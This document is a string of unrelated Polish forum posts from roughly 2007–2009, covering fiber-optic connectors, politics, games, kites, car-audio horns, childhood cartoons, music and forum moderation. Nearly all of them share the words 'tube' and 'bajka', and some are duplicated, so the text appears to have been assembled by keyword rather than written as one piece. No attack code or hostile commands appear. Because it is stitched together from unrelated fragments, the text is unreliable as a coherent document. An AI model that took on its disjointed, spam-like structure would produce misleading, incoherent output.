FIBER TOOL BOX


Cytat:Tego oto dnia 2007-11-21 21:33, Niejaki/a icek bedac w stanie euforii
nagryzmolil/a co nastepuje:

| mam wloka zakonczone wtykami klejony (ST)

Bezposrednio do wlokna swiatlowodu masz przyklejone ST???
Czy tez moze to jest swiatlowod wewnetrzny zakonczony wtykami ST, to
wtedy to jest inna bajka ...



hmm
przejscie na luzna tube,
na wlokna naciągnieta buforówka
na koncu wloka zarobiony wtyk (klejony)

robie u siebie tak od 5 lat
7-6 lat temu tak zamawiałem "na wymiar"

teraz celuje w spawarke, ale dlatego, ze klejenie jest mocno
nieefektywne czasowo

aha
swiatlowód to MM
na SM bym tak nie odwazyl sie nawet :)

 

Nie chcecie więcej pierdolić się z tymi podatkami? - GŁOSUJCIE NA UPR!

W odpowiedzi na pismo z środa, 3 października 2007 14:04
(autor Sowiecki Agent
publikowane na pl.soc.prawo.podatki,

Cytat:| za zagrożenie dla społeczeństwa. I też się ich zamyka tylko zazwyczaj
| wypuszcza lekką ręką, ale to inna bajka.

na czym to zagrozenie polega?



Ze strony dresów? No cóż....

Cytat:i czym sie rozni od tego do ktorego link
na you tube prowadzi (w stopce)



Tym, że TVN to nie dresy. Również zagrożenie, ale innego rodzaju. Nie bardzo
rozumiem do czego zmierzasz.

Nie chcecie więcej pierdolić się z tymi podatkami? - GŁOSUJCIE NA UPR!


Cytat:W odpowiedzi na pismo z środa, 3 października 2007 14:04
(autor Sowiecki Agent
publikowane na pl.soc.prawo.podatki,

| za zagrożenie dla społeczeństwa. I też się ich zamyka tylko zazwyczaj
| wypuszcza lekką ręką, ale to inna bajka.
| na czym to zagrozenie polega?

Ze strony dresów? No cóż....

| i czym sie rozni od tego do ktorego link
| na you tube prowadzi (w stopce)

Tym, że TVN to nie dresy. Również zagrożenie, ale innego rodzaju. Nie bardzo
rozumiem do czego zmierzasz.



zmierzam do tego by ci wytlumaczyc iz wsrod kazdego srodowiska znajduja
sie pojeby, ty chcesz karac za styl. Agresywny chlopak w dresie t
bandyta a nie dresiarz.

NOOBY

uważam że ludzie używający męczennika, tuby i bastionu po prostu liczą na łatwy frag , więc niech się nie dziwią, że to co łatwo przychodzi uznawane jest za noobostwo

ale jest druga strona medalu (nie MoH ) lubię pokonać gostka który nie daje mi rady nawet tymi noobkowymi perkami , takie zwycięstwo cenię sobie wyżej niż inne i to daje wiekszą satysfakcję z gry --- wyjątkiem jest tuba przed którą trudno uciec i chociaż 2 razy w ciągu roku udało mi się załatwić tubiarza który w nerwach nie wycelował dokładnie i zginął zaraz po tym, to jednak reszta moich "tubowych " zgonow bardzo mnie wkurzyła
= a bajką jest opowiadanie --"ja uzywam tuby tylko na otwartym terenie "

podsumowując - "Tube w domu zostaw noobie -- a resztę weź i tak ci dokopię"

p.s. a kamperów uwielbiam bo tak się składa że przeważnie to idioci taki, z uporem maniak będzie kampił w tym samym miejscu nawet po trzecim zgonie od tego samego gracza , przerabiałem to w ostatni weekend --o mało nie posmarkałem się ze śmiechu oni poprosty dodają kolorytu tej grze

 

Czy ktos zna maszyne HUDDIG 1260

czy jakies nowe rewelacje co do WW maszyny na YOU tube znalazlem pare filmikow sami zobaczcie co czego ten sprzet jet zdolny
jazda po torach bez problemowo
http://www.youtube.com/wa...feature=related
to chyba mnie urzeklo najbardziej prawie jak samochodziki w dziecinstwie, pamietam mialem kiedys fiata 126p starowanym na kablu bajka
http://www.youtube.com/wa...feature=related

poogladajcie sami maszyna bajeczna, tylko czemu tak droga ?? :(

zapraszam do komentowania ww maszyny

RRD Type SIX a piata linka - miejsce mocowania

witam !

stalem sie nowym posiadaczem latawca RRD Type SIX 15
poprzedni wlasciciel od nowosci uzywal go w konfiguracji 4-ro linkowej
z tego co wyczytalem / dowiedzialem sie jest to kite 5-cio linkowy

mam bar (co prawda Naish'a) 5-cio linkowy i chcialbym uzywac kite'a wlasnie w konfiguracji 5-cio linkowej
[dobranie odpowiedniej dlugosci 5-tej linki to inna bajka]

obadalem dokladnie tube glowna skrzydla i ku mojemu zdziweniu odnalazlem tylko jeden ew uchwytu umozliwiajacy podpiecie pomki, ale .. uchwyt ten znajduje sie od wewnetrznej strony tuby glownej (od str tub poprzecznych), co wydaje mi sie troche dziwne, zwlaszcza jako element umozliwiajacy mocowanie 5-tej linki
[moze inaczej - doswiadczenie mam tylko z Naish'ami a tam 5-ta linke mocuje sie od zewnatrz]

moze wlasnie do tego ucha podpina sie 5-ty element w RRD ?
a moze mam jakies braki w skrzydle ?

jak to wyglada:







przepraszam za jakosc zdjec - fotki robione byly telefonem - baterie do aparatu sie laduja

z gory wielkie thx za odp

pozdrawiam
Łukasz

!Pogaduchy wszystkich MAM cz.XXVII!

Cytat:u Nikoli tez dlatego chce jej do buta puzle takie kupić :


u nas na topie Diamnetowy Pałac, przychodz z przedszkola i włącza soebie you tube i tam wyszukuje piosenkę z tego filmu i tak x20 i tanczy i spiewa...... szopka...... wzrusza mnie to szalenie......

no i Kasia prosi od miesiaca oi laleckzi z tego filmu, myśle i mysle, bo nieba bym przychyliła, ale czy ona sie bedzie bawic, czy tych lalek nie za dzuo, fakt faktem bawi sie lalkami codzienie, ale sama jeszce nie wiem.....

a na Mikołajki kupię jej czekaladowego MIkołaja i chyba jakis błyszczyk hello Kitty w H&M albo podobny drobiazg.... potem tcyh zabawke tak duzo ze sie w pokoju nie mieszczą.....

na gwiazdke na pewno dostanie film dvd z tym dmiamentowym zamkiem, cała kolekcje juz zebrała dzięki babci a ten jest najnowszy hicior. ale ja sama uwielbiam te bajki z barbie ogladac

PILNIE POSZUKIWAŁEM TYTUŁU BAJKI ;) I ZNALAZŁEM...

Witam przejdę odrazu do temetu a mianowicie poszukuję tytułu bajki z lat ojego dzieciństwa. Bajka ta była w stylu ulissesa a dokładniej to co pamiętam:
-oczywiscie VHS
-jeden z odcinków pamiętam (chyba pierwszy) jest grupa przyjaciół na planecie główny bohater to mały chłopiec jego koleżanka i czarodziej i w pewnym momencie czarodziej mówi do chłopca że już nie są bezpieczni na tej planecie pomimo "osłony" którą zrobił czarodziej ponieważ robi się ona coraz słabsza z powodów pędów które otaczają planete coraz bardziej i wtedy przylatuje koleś statkiem kosmicznym i chce ich zabrać ze sobą ale nie za darmo - chce złota czarodziej zaczarowuje sztabki metalu które wyglądają na sztabki złota i koleś zabiera ich ze sobą po krótkim czasie od startu czar pryska i sztabki znów wyglądają jak wczesniej ale koles i tak ich bierze ze sobą i zaczyna się przygoda....
- zły charakter to koleś co siedzi na "tronie" i puszcza pędy i pojazdy za głównymi bohaterami
- cała akcja toczysię w kosmosie
- głowni bohaterzy poruszją się pojazdami

z góry dziękuję za pomoc i pozdrwiam

LINK DO FILMIKU Z YOU TUBE BAJKA O KTÓREJ PISZĘ JEST MIĘDZY 2:45-4:04min TEGO FILMIKU: http://www.youtube.com/wa...feature=related

ps. jak toś szuka ROBOTIX z lektorem pl. to życzę milego scigania http://www.kfd.pl/robotix-38420.html z rapid-a

Czy kondensator 1F styknie do tuby 350 w RMS ?

dla poprawy brzmienia zmien tube na skrzynie
dokładnie!

a wogole to "PolskaProdukcja" źle sformułowałeś temat bo jak masz 350RMS tube to to jeszcze nie jest wyznacznikiem tego czy potrzebujesz 1F czy nie :P, stwierdzić to lepiej można po tym jaki masz piecyk...
no chyba że to jest "tuba active" buehuehe, ale wtedy i tak nie trzeba Ci kondzia bo te 350W możesz miedzy bajki włożyć ;)

Dobranocki

Szkoda, że do wielu bajek nie ma dostępu nawet na You Tube, a na stronach internetowych są tylko szczątkowe informacje. Trudno też znaleźć kasety VHS czy płyty winylowe z materiałami z tych programów. A tak fajnie byłoby powspominać.

Ostatnio na ekran mojego telewizora wstąpił nieśmiertelny "Królik Bugs" i "Tom i Jerry". Ale była frajda...

Ostatni jednorożec

Jezusićku ty też?
Nie dosyć, że jedna z dwóch ukochanych bajek mojego dzieciństwa to do tego przeżyła dwa miesiące temu swój renesans gdy zobaczyłam na You tube teledysk zrobiony z tej bajki do muzyki Loreen McKennitt ...nie było wyjścia musiałam sobie ściągnąć
Uwielbiam ta bajkę Zwłaszcza, że to nie jest typowa bajka...to naprawdę mądra rzecz
Moja rodzinka nie popiera mojego entuzjazmu ale to nic jeszcze ich nawrócę
W tym filmie najbardziej chyba podoba mi się wierność (książki nie czytałam więc nie wypowiadam się co do niej) w stosunku do symboliki i legend związanych z tym stworzeniem Nawet gobeliny w czołówce istnieją naprawdę (cykl "dama z jednorożcem") i cała grafika jest moim zdaniem bardzo wierna klimatowi ...gobelinów
Wiem jak to głupio brzmi ale trzeba to obejrzeć by zrozumieć o co mi chodzi

Mamy - pogaduchy i porady nr. 15

A ja poczytałam i tak:
lenus super że maż dostał robotke . Hura.

Trissy łabuzie głowa do góry już niedługo męża będzie a teściowa w łeb w łeb.

Hala pracusiu zyjesz?? ale widze że ty lubisz jak coś się dzieje to podobnie jak ja ale ja już przy dwojce coraz mniej.

Joasiu a ile to cóś kosztowało i czy sie składa bo my też mamy tubę ale jakąs tandetke krótsza i szerszą.

Anabela współczuję ja miałam tak długi czas z olą z tym żże mi się budziła w nocy i nie można było jej uspokoić ani przytulic i po jakiś 6 miechach dopiero przeszło stawiam i nie tylko ja że to były bajki zbyt dużo nafaszerowane emocjami . Może Igus ostatnio miał za dużo wrazeń. czy myślisz że to tylko te duszności.

Aneczko cześć jak samopoczucie widzę ze o.k a kasia jak dal mnie na buźce szczuplejsza.Serio ale to tylko moje odczucie.

Ataga całuski i uściski dal Ciebie

Kejtus no nie rób scen!!łobuzie poczawara czeka na Ciebie i nie tylko. Hormonki powiadacie ....mamy wszyscy ale Wy z Aneczką to pozazdrościc.

Monika współczuję.

Aga jak zwykle w żywiole.

Pocahontas witam i zapraszamy częściej

Iskierko pozdrowionka z szrego koziołkowa.

Bolkowa mniewj roboty bo nas zaniedbujesz!!

Muszę to już wysłać bo coś komp złapał i nie chce iść za bardzo musz ego przeskanować

Giełda

Cytat:Dees no nie żartuj. Jak patrzałem na ceny to nie licząc opłat typu cło to się bardzo opłaca. A sprzęt dj-ski? Chodzi mi o to, że podaje np. numer konkretnej aukcji na ebayu, a ty to załatwiasz na miejscu, aby przyoszczędzić na przesyłce i opłatach. Oczywiście liczysz jakis procent od ceny dla siebie.



Im drozszego kupisz laptopa w usa tym gorzej jest go sprzedac w polsce. Wiadomo kupujac auta sa to inne ceny .

W ebay tez sie nie bawie. Zalatwiam to w najprostszy sposob

Co do Ipoda toucha mam go kolo siebie jest genialny. Wi-Fi dziala swietnie wyswietlacz bajka . To samo co iphone tylko bez funkcji telefonu. You tube itp dziala pieknie !:)

Ja mam 8gb.

BAJKI na KASETACH magnetofonowych - kto pamieta?

Witam wszystkich wspominających!
ulżyjcie moim cierpieniom -
czy ktoś pamięta bajkę, oczywiście na kasecie, która zaczynała sie od słów "Ja jestem żuczek, zwą mnie Ignacy..." rzecz jest o kawiarni/knajpie na leśnej polanie, przychodzą tam różni goście (Wilk poeta, lisica, mysikrólik) któreś stworzenie grało na tubie "Bo ja tubę bardzo lubię..."

Za Chiny Ludowe nie mogę sobie przypomnieć tytułu - znałam ją na pamięć, teraz mam małego synka, dla którego chętnie bym to zdobyła, a poza tym - wspomnienia....

Słuchał ktoś tego? Miał? Pamięta? A może wiecie jak to zdobyć....

Zdjęcia ze ślubu :)

kiedyś ten filmik wynalazłam na you tube i wklejałam na forum uwielbiałam go oglądać i ta muzyka....
http://www.youtube.com/watch?gl=PL&hl=pl&v=7pAAU4iRoVE&feature=related

tylko sukni żal...
ale ujecia-bajka, no i oni super się wczuli...takie wszystko subtelne

to tez super: http://www.youtube.com/watch?v=EHpQD9XBCxk&feature=related

tyle,ze szkoda,ze kazdy małpuje...full jest juz takich plenerów, tylko pary się zmieniają

Letnia Scena Techno Part.II 31.08.2007 (Openair) Jędrzejów

No i Event zakonczony mysle ze powodzeniem milo sie gralo sety tez mi sie podobaly. Arek traki fajne tylko tak jak Ci mowile ten "tube tech", poza tym bajka mike zaszalał i szczegolnie utkwil mi w głowie " Spit it out " w remixie Kowalskiego.. cos pieknego! grtulacje chlopaki! i jeszcze wielkie dzieki dla Fotografow !
a jakie jest wasze zdanie chlopaki ?
POZDROO !

Letnia Scena Techno Part.II 31.08.2007 (Openair) Jędrzejów

Cytat:No i Event zakonczony mysle ze powodzeniem milo sie gralo sety tez mi sie podobaly. Arek traki fajne tylko tak jak Ci mowile ten "tube tech", poza tym bajka mike zaszalał i szczegolnie utkwil mi w głowie " Spit it out " w remixie Kowalskiego.. cos pieknego! grtulacje chlopaki! i jeszcze wielkie dzieki dla Fotografow !
a jakie jest wasze zdanie chlopaki ?
POZDROO !



Endess dałeś popis bezbłędnej, technicznej gry, jestem bardzo zadowolony. Ty i twój mixer stanowiliście integralną całość Widać, że znacie się dobrze he he. Technicznie bajka! Klimat też bardzo electro!
Arkus przysieczył jak zawsze. Remix Coldplay - Clox - świetny

Tak Tak - dzięki dla fotografów - szczególnie dla Wąskiego z Associated Press (AP)(żart) he he
Dziękówa dla publiki (ok 300 osób) i panienek tańczących (jak nigdy) do ambitnej niekomercyjnej muzy
Dość udany Event

Chip Tuning w Masters Tuning Wasze opinie

Cytat:Naprawde jest to mozliwe na suchym asfalcie i nie lysych oponach ??? Przy stalym napedzie na cztery kola ??? Jeden, dwa rozumiem ale 3 to juz troche dla mnie bajka zreszta wrzuć filmik na You Tube mysle ze bedzie duza ogladalnosc hehe


narazie musisz w to uwierzyć co robi z kołami moment w okolicach +/-650Nm

Najlepsze bajki z dzieciństwa

O Pokemonach już chyba było, w końcu to klasyka, aczkolwiek kiedy wchodziły Pokemony to ja już w zasadzie bajek nie oglądałam. Za z mojego głębokiego dzieciństwa pamiętam jeszcze jedną bajkę japońską chyba, której akcja działa się niby w świecie Inków albo Majów, trudno mi w tej chwili powiedzieć, bo tytułu też już nie kojarzę.
Aha, You tube mi podpowiada, że to chyba "tajemnice zaginionego miasta", ale nie jestem do końca pewna.
Aha jeszcze mi się kojarzy, ze ja Daimosa też oglądałam I Czarodziejskie zwierciadełko, też manga

Nasze blogi

Wczoraj na Jou Tube zafundowałam sobie koncert starych
piosenek - nie z czasów młodości ale dzieciństwa . Zawsze u mnie w domu
było dobre radio i adapter i dużo płyt - samych szlagierów z tamtego okresu
czyli lata 50 - 60 .Moja mama bardzo lubiła piosenki - a ojciec też
ale tylko w czasie uroczystości .
Posłuchałam sobie Gniatkowskiego , Danka , Zylskiej , Fogga ,
Kurtycza i Jakubczak . Wróciłam wspomnieniami do tych czasów .
Było różnie - ale cudownie ... Rodzice mieli więcej czasu : mama czytała
mi bajki , chodziliśmy często do parku , do ZOO . Potem nawet
jak byl już telewizor nie zżerał tak dużo czasu jak teraz...
Często odwiedzaliśmy ciotki różne i kuzynów - teraz te więzi upadły .
Widzę to po swoich dzieciach - dalszej rodziny nie odwiedzają bo nie
mają czasu . Dla mnie cioteczni bracia czy siostry byli tak jak
rodzenstwo .
Miłe są takie wspomnienia ..

Sprawa Tory

Kochani ja tylko chcę zapytać dlaczego wcześniej nie było informacji że Renata "ma kogoś na oku" ?? Można byłoby wtedy uniknąć niejasności i wszystko miałoby "ręce i nogi", także nie musiałaby wędrować z "rąk do rąk". Czy Torka będzie miała przeprowadzone badania kardiologiczne, tarczycowe i usg bioder?? Mam nadzieję iż więcej takich "niespodzianek" nie będzie i że jest to jej przedostatni przystanek aż w końcu znajdzie ten ostatni.

P.S. Marcinie i Tatiano ja pragnę Wam tu podziękować za pomoc, filmik który wrzuciliście na you tube ukazał Tor(L)kę w bardzo pozytywnym świetle, jestem przekonana że da się z niej wyciągnąć to co najlepsze. Wasze opisy były bardzo dokładne, po przeczytaniu ich jestem w stanie stwierdzić że Torka jest baaaaaardzo podobna charakterem do Bajki. Jeszcze raz dzięki WIELKIE!!!!!!!
Czekam teraz na wpisy i opisy zachowań, zdrowia Torki, jestem bardzo ciekawa jak się będzie zachowywała i jak postępuje jej nauka.

KasiaJ dnia Czw 23:01, 23 Kwi 2009, w całości zmieniany 1 raz

interpretacja zdjęć-jeźdźiec + koń:P

Ja tu się pobawię you tube i Wam filmiki wstawię xD Będziecie się mieć na czym wyżyc xP To klacz mojej mamy, a kiedy była chora, jeździłam jej ją. Masakra xD Nie dogadałam się z nią i bałam się cokolwiek z nią popracować xD Tylko galop wygląda w miarę Ale i tak pierwszy był do bani xP Poszła! ze mną i nie mogłam jej zatrzymać, a przyjaciółka to kamerowała Zaczęłam krzyczeć coś w stylu nie kameruj, baranie A co do siodła, to naormalnie boskie jest! Zazdroszczę mamie Ja siem męczę w skokowym prestigu, które wypycha mnie w prżód i jest niewygodne, a na Magii robię pracę ujeżdżeniowę i jest do kitu xD A ten Wintec... Mmmm... Bajka xD

Filtr na monitor?

Czyli wychodzi na to, że ta cała afera o wysokim promieniowaniu monitórów to bajka. Czyli monitory z filtrem wbudowanym takim jak mój Philips są bezpieczne? (Noi norma MPR-II) I jeszcze ciekawostka model 107E40 spełnia TCO 99 a mój Philips 107E41 nie. To znaczy teoretycznie Philips odpisa mi że ten mój też spełnia, ale szukałem w necie i okazało się że nie. A przecież te modele nie mogę bardzo się róznić. Jesli chodzi o promieniowanie to rzeczywiscie jest niewielka róznica między MPR-II a TCO 95?

Czy to znaczy, że mój monitor ma wbudowanyfiltr w ekran?

-Tube type Shadow mask, Flat Square, High Contrast,
Anti Glare, Anti Static, Anti reflection,
Light Transmission 47%

Now playing.

obecnie cudo to dla mnie 2 piosenki z notre dame de paris: Belle i Tu vas me detruire ( Frollo ma głos zniewalający...)

A tak poza tym to coś ostatnio mam fioła na punkcie tego tematu. Oglądam na You Tube bajkę z tego, film z 1921 i zamierzam w bibliotece wypożyczyć książkę ( jeżeli ją znajdę...)

Co chcielibyście ujrzeć na plazmie na 1 piętrze.

Cytat: no to wtedy śmieszne wypadki... na you tube jest ich bardzo dużo... albo jak niektórzy kierowcy jeżdżą... jest z czego się pośmiać...



ale co Ty, nie mozna takich filmikow ogladac w tej szkole, myslisz ze czemu bajer, fotka albo inne portale sa zablokowane? po to zeby nie zgorszyć ucznia, przeciez zadaniem szkoly jest wychowac Cie na czlowieka a nie jeszcze bardziej zepsuć, chociaz co niektorych juz sie nie da ale to juz inna bajka o tym

Co chcielibyście ujrzeć na plazmie na 1 piętrze.

Cytat: no to wtedy śmieszne wypadki... na you tube jest ich bardzo dużo... albo jak niektórzy kierowcy jeżdżą... jest z czego się pośmiać...



ale co Ty, nie mozna takich filmikow ogladac w tej szkole, myslisz ze czemu bajer, fotka albo inne portale sa zablokowane? po to zeby nie zgorszyć ucznia, przeciez zadaniem szkoly jest wychowac Cie na czlowieka a nie jeszcze bardziej zepsuć, chociaz co niektorych juz sie nie da ale to juz inna bajka o tym

tak ale jest bodajze taka strona e nie pamietam nazwy ze mozna za pomoca niej wchodzic w szkole na fotke.pl itd ;D zreszta "dla chcacego nic trudnego" ;]

Ps cos sie nazywala antycenzor lub cos takiego ale nie pamietam teraz

Linki (+ komentarze)

Na jednej ze stron znalazłam reportaż z nagrania Innej Bajki, to się trochę różni od tego, co jest na You Tube (wiem, że tamta wersja już tu była, ale wkleiłam dla porównania, żeby nie szukać) - "nowy" reportaż jest krótszy

Inna Bajka - nagranie ze studia

Wersja z YT (dla porównania)

pogrzebałam trochę w necie... na YT znalazłam również tę krótszą wersję /K./ dnia Nie 13:53, 26 Paź 2008, w całości zmieniany 3 razy

Chip Tuning w Masters Tuning Wasze opinie

Cytat: Naprawde jest to mozliwe na suchym asfalcie i nie lysych oponach ??? Przy stalym napedzie na cztery kola ??? Jeden, dwa rozumiem ale 3 to juz troche dla mnie bajka zreszta wrzuć filmik na You Tube mysle ze bedzie duza ogladalnosc hehe


narazie musisz w to uwierzyć co robi z kołami moment w okolicach +/-650Nm

tragiczna zupełnie służalczość piSowi ; "Faktów" TVN i TVN24

tak sobie dzisiaj pooglądałem od 19;00 Fakty w TVN , oraz TVN24 do 22:00

pomijam tendencyjne dobieranie materiału - ale odredakcyjne komentarze dziennikarzy - to już naprawdę żenada

oczywiście Kaczmarek kłamie (wyśmiewamy faceta prezentując banalizujące sarkastyczne komentarze )

a Giertych wymyślił bajkę dla dzieci

-- natomiast to co TVN24 zaprezentował w rozmowie z Lepperem , no to juz było mistrzostwo świata,
- nie znoszę faceta , Lepper jest dla mnie synonimem wszystkiego co najgorsze w polskiej polityce , ale sposób w jaki redaktor rozmawiał z tym człowiekiem , posługując się z góry ustaloną tezą (" Lepper kręci i kłamie") , rozmawiając nie jak dziennikarz który chce pomóc widzom ustalic na sprawę własny punkt widzenia, ale jak śledczy z UB w latach pięćdziesiątych ['''słuchajcie no obywatelu, czemu kłamiecie ? przecież mówiliście coś zupełnie innego "] , jak UB , ale i jak poddany pokorny sługa-dziennikarzyna szefa [..słuchajcie no redaktorze ,wicie rozumicie , z Lepperem jedzcie ostro , co by mi piS nie nabrużdził w Krajowej Radzie i nie popsuł przyszłych interesów medialnych]

powiem szczerze
ZNIESMACZENIE to mało

jedyna stacja telewizyjna która kiedyś była miarą niezależnego dziennikarstwa - zamieniła się w tubę propagandową piSu - jak gazeta "Rzeczpospolita"

przygnębiające.

ps. w tym samym czasie zerknąłem na 'wiadomości' w Polsacie
- zupełnie jak bym był w innym kraju
spokojnie podane wiadomości , bez robienia porozumiewawczego oka do widza, bez odautorskiego komentarza,
na poziomie

niebo a ziemia.

Aparatka

Aparatka to bylo moja najlepsza bajka potem ''Odlotowe Agentki'' ale Aparatka to bylo to ona juz niiestety nie leci a w You TUbe juz lookam na youtube sa odcinki wpisz ''aparatka'' i potem wejdz w pierwszy potem bedzie cos takiego ''podobne'' i tam sa ale urywki ale poszukam obiecuje bo sama chetnie obejrze caluski;** no i te na youtube nie po polsku ale poszukam napewo sie odezwe nawet jak nic nie znajde ;))

SlingShot czy plecak?

Cytat:Nie korzystam z rękawiczek Lowepro. Tak samo jak nie mam zamiaru korzystać z ich majtek, podkoszulek czy kalesonów.



(dziś muszę wypić duszkiem skrzynkę wódki )

edit: Przetestowałem dziś TopLoadera w polu. Temp. -11, silny wiatr, arena: chaszcze, trzciny, zamarznięta rzeka, przedzieranie się. Toploader plus dwie tuby na obiektywy (lencase) po bokach.

Zestaw nie komplikuje życia, nie tamuje ruchów, pozwala machać rękami (w razie zachwiania równowagi). Na pewno nie będzie przeszkadzał na biegówkach. Przez stworzoną przez bobry dżunglę można się pchać "na chama" bo aparat siedzi sobie w miękkim posłaniu, a na zewnątrz cordura, której nic nie ruszy. Klapka otwarta i w 2s jest w moich rękach jak trzeba. Zmiana obiektywu? No problem, otwieramy tubę z obiektywem, na który zamieniamy, odpięty wkładamy do drugiej, trzask i po robocie. Można sobie darować dekielki i zasuwanie pokrywek, i tak nie wyleci.

Po prostu bajka. Polecam wszystkim. Głupio wygląda. Jak przyszła przesyłka i na próbę w firmie sobie nałożyłem, to musiałem współnika cucić, bo się zatchnął od śmiechu . Ale w praktyce malina!

BMS 4548 czy Ti210 do 2x15" + driver

No włąśnie jak w temacie - który driverek lepiej sie sprawdzi do kolumny 2x15" + driver. Wiem,zę dużo zależy od tuby - w Ti 210 moge mieć tubę o pokryciu 90x50stopni a do BMS 4548/8 TYLKO 75x100stopni.

Jak dla mnie to ciekawy dylemacik - wiadomo BMS a Selenium to dwie inne bajki ale moge je mieć w tej samej cenie z tym,zę BMS to 1,4" z 1" wylotem a Selenium to o całe 0,5" więcej,czyli 1,75" także z 1" wylotem.

Cięcie wypada podobnie - Selenium zaleca 2kilo a BMS 1,9kilo....

Drivery maja grac z dwoma głośnikami 15" w kolumnie o łącznej skuteczności 103db.

Prosże o opinie co sie lepiej sprawdzi - chętnie osób,które miały do czynienia z tymi driverami.

Pozdrawiam

Tuba estradowa djbolo (STX GDN-30-200-4-AE)

Cytat:dobra tylko na jakim poziomie bedzie ten bas na takim jednym 15'


Ale ja nie porównuje tych konstrukcji tylko ,że czytałem gdzieś, że dźwięk z tuby musi mieć gdzie się rozpędzić bo inaczej nie ma takiego efektu i jeśli chodzi o tube to trzeba stosować jak to powiedział użytkownik barthezz przynajmniej 2, ponieważ bas jest ukierunkowany i nie rozchodzi się po sali tak jak w bassreflex-ie. W końcu to dwie różne bajki.Pozdrawiam

[R214i, 98] Głosniki do tyłu

Cytat:Nie kupuj, szkoda kasy, sam tak zrobilem i to nie pomoglo. dopiero jak kupilem wzmaczniacz i tube to poczulem kopa.

Daje sobie reke obciac ze nie kupiles tuby bo 99,95 Polaków nie wie co to jest tak naprawde tuba... zabraklo by Ci rovera na taka skrzynke bo one maja po kilkaset litrow... Tuby sa uzywane na koncertach chodz jest troche projektow na glosnikach do domu np na tvm arz ale to inna bajka... do R200 dla zwyklego czlowieka nie trzeba nic jak dobry zestaw na przod... np rainbow slx256 delux + wzmak i wygluszenie drzwi zagra 1000ray lepiej niz nie jedna "tuba" z allegro

Ustawienia audio..

to jakiego ty masz car powera może HPB-1502 jego moc to możesz sobie miedzy bajki włożyć wiem coś o tym bo u mnie skrzynie JBL ledwo targa jeśli dobry wzmacniacz to JBL;a. i tak dobrze ze nie piszesz ze masz voiscrafta albo blaupunkta 700rms i nie gra zakładałem 2 głośniki serii gto 30cm w skrzyni z refleksem i własciciel samochodu uparł sie ze chce zostawić blaupunkat "700rms" bo spokojnie zasili dwa głośniki po 300wat ( które soja droga maja tyle tylko na pudełku ) i po paru dniach montowałem JBL GTO 5355

a zwrotnica to właśnie filtr puszcza tylko pewna częstotliwość dźwięku, odcina nie potrzebne pasma. i w tym problem ze jeśli coś ustawisz w radiu to na wyjście RCA to tez idzę i gdy odetniesz niskie tony to one sie w magiczny sposób nie pojawia na wzmaku i jak byś nie kręcił na wzmacniaczu bass bustem i hp, lp nic to nie da bo pewne pasmo nie jest przenoszone chyba ze masz w radiu oddzielne sterowanie portem RCA.

żeby dobrze wygrzać cewkę i rozbić membranę to na tubę z minimum 2 tygodnie grania. ale wszystko zależy od głośnika.

1

Jeśli nikt nie pisze to może ja:

Jest to stara bajka w której nie ma dialogów lecz leci sama muzyka, bajka opowiada o dwóch panach którzy ciągle kombinują jakieś rzeczy w dość nietypowy sposób, oczywiście gdy myślą, że jest cudne, śliczne i najlepsze ta rzecz się rozwala... Na You Tube można znaleźć wiele przeróbek tej ponadczasowej bajki nie tylko dla dzieci...

Kto zgadnie?

Kreskóweczki

South Park jest u mnie na oltarzu humoru - ta bajka mnie rozpierdala na lopatki, znam na pamiec, klasyk do szescianu w mojej klasyfikacji, choc X seria troszke slabsza od poprzednich. poza tym oczywiscie Simpsonowie, chociaz nowi Simpsonowie to tragedia i kibel straszny, glownie z tego wzgledu ze kompletnie zmieniono charakter Homera. Family Guy jest dobry choc do SP dziela go lata swietlne niestety. stare bajki z Cartoon Network dawaly rade : 2 Stupid Dogs, Johnny Bravo, Krowa i Kurczak - najpierw nie lubilem, potem kult. Beavis Butthead lubie sobie od czasu do czasu na You Tube luknac

bajki w polskich wersjach jezykowych=katastrofa

Peter And The Test Tube Babies


Peter And The Test Tube Babies - "The Mating Sounds Of South American Frogs" *****

Pierwszą ich płytą była koncertowa "Pissed and Proud" - całkiem niezła, ale dopiero ta druga wydana własnym sumptem przez własną wytwórnię Trapper Records - "The Mating Sounds Of South American Frogs" przeszła do historii tego gatunku. Płyta przez cztery miesiące utrzymywała się na pierwszym miejscu list niezależnych co świadczy o klasie tego krążka. Peter And The Test Tube Babies to jest jedna z tych niewielu kapel które wniosły coś nowego do punk rocka. Specyficzna gitara grająca melodyjnie ciekawe motywy tak bardzo charakterystyczne dla Peterów sprawiające że kawałek za kawałkiem wpada w ucho, do tego sekcja rytmiczna grająca na poziomie, no i wokal Petera. Ta płyta to jeden wielki przebój, tu nie ma słabych momentów!!!. Na tej płycie słychać subtelność jak nie z tej bajki i szorstkość punk rocka, takie połączęnie dało płytę która się nie nudzi i za każdym razem jak się tego słucha mimo upływu ponad 20 lat od jej wydania odkrywa się coś nowego w tej muzyce. Słuchałem tej płyty jak wyszła gdzieś około 1984 roku i powaliła mnie wtedy na kolana swoją oryginalnością, i jak słucham w 2006 roku to myślę że ta płyta nadal brzmi świerzo oryginalnie i niepowtażalnie. Szkoda że płyta "The Mating Sounds Of South American Frogs" stała się niepowtażalna dla samego zespołu bo kolejne płyty "Soberphobia" i "Supermodels" nie mają w sobie tego czegoś co jest na "The Mating Sounds Of South American Frogs"

Jednym słowem klasyka gatunku, posiadanie w kolekcji obowiązkowe !!!!!

1

ja pie***le... 3ba było wykasować i napisać na pw zeby nie dawać linków do stron... a jakbyś nie zauważył to w wielu tematach daje sie bezpośrednio wgląd na teledysk do youtube...
ciekawi mnie czy innym za spam w różnych tematach równiesz nawalasz ostrzeżenia bo z tego co widze to NIE...

żeby nie było że robie OT dam tytuł:

50 Cent - Window Shopper

Suchy linki do You tube czy do wrzuty.pl czy innych stron z których można tylko odsłuchać muzykę czy obejrzeć teledysk są ok i nie ma w tym nic nielegalnego.To że idzie materiał zassać z tamtych stron to już inna bajka

Za takie linki na forum zachęcające do pobierania nielegalnych treści policja może przywitać się z administratorem forum i poprosić go w najlepszym przypadku o wykasowanie tego a w tym mniej przyjaznym: poprosi o dane użytkownika IP itd
w skrajnym zlikwidować forum tak jak to porobiono ze stronami z napisami do filmów

nie pamiętam teraz dokładnie ile za taką przyjemność ale myślę ze około 3 lat i grzywna.

Tylko po co robić sobie i komuś problemy.

Warn minie a może to będzie dla niektórych nauczka że ktoś tu czuwa nad tym co się dzieje

Wesołych Świąt wszystkim

Strapping Youg Lad/Devin Townsend

